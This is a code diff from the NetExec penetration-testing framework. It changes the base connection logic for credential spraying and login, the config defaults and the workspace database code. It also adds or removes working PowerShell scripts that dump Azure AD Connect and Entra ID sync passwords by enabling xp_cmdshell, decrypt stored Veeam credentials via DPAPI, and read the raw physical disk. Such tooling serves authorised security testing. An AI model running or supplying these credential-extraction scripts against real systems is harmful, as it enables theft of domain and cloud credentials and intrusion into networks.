self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
self.logger = nxc_logger
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
return
if self.kerberos:
self.host = self.hostname
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
try:
self.proto_flow()
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
@staticmethod
def proto_args(std_parser, module_parser):
@@ -220,16 +138,22 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
return
def plaintext_login(self, username, password):
def plaintext_login(self, domain, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -238,21 +162,16 @@ class connection:
def proto_flow(self):
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
if self.create_conn_obj():
self.logger.debug("Created connection object")
self.enum_host_info()
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -281,13 +200,13 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
for module in self.module:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.port,
"port": self.args.port,
"hostname": self.hostname,
},
)
@@ -296,6 +215,11 @@ class connection:
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -304,8 +228,13 @@ class connection:
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins, user_failed_logins
global global_failed_logins
global user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
@@ -315,7 +244,8 @@ class connection:
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins, user_failed_logins
global global_failed_logins
global user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
@@ -323,7 +253,7 @@ class connection:
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
return True
return False
@@ -387,10 +317,10 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line and len(line.split("\\")) == 2:
if "\\" in line:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -399,7 +329,7 @@ class connection:
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -426,22 +356,12 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65 and len(line) != 0:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
secret.append(ntlm_hash)
cred_type.append("hash")
# Parse AES keys
if self.args.aesKey:
@@ -464,9 +384,7 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
"""Try to login using the specified credentials and protocol.
Possible login methods are:
- plaintext (/kerberos)
@@ -477,21 +395,11 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem:
if cred_type == "plaintext":
if self.kerberos:
if self.args.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -504,7 +412,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.kerberos:
if self.args.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -551,21 +459,6 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
@@ -585,12 +478,3 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+2 -4
View File
@@ -1,8 +1,6 @@
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -10,10 +8,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(CONFIG_PATH)
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.log = logger
-82
View File
@@ -1,82 +0,0 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
+65
View File
@@ -0,0 +1,65 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
-95
View File
@@ -1,95 +0,0 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+2 -4
View File
@@ -5,6 +5,7 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
[BloodHound]
@@ -12,10 +13,7 @@ bh_enabled = False
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
bh_pass = neo4j
[Empire]
api_host = 127.0.0.1
@@ -1,10 +1,9 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -23,46 +22,19 @@ catch {
exit -1
}
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
@@ -1,9 +1,8 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -11,40 +10,13 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$enc = [system.text.encoding]::Default
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
Write-Output $output | Format-Table -HideTableHeaders | Out-String
-179
View File
@@ -1,179 +0,0 @@
import configparser
import ipaddress
import shutil
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
try:
config = configparser.ConfigParser()
config.read(config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
return config
def get_workspace(config):
return config.get("nxc", "workspace")
def set_workspace(config_path, workspace_name):
config = open_config(config_path)
config.set("nxc", "workspace", workspace_name)
write_configfile(config, config_path)
print(f"[*] Workspace set to {workspace_name}")
def get_db(config):
return config.get("nxc", "last_used_db")
def write_configfile(config, config_path):
with open(config_path, "w") as configfile:
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+10 -15
View File
@@ -3,21 +3,23 @@ from os.path import exists
from os.path import join as path_join
import shutil
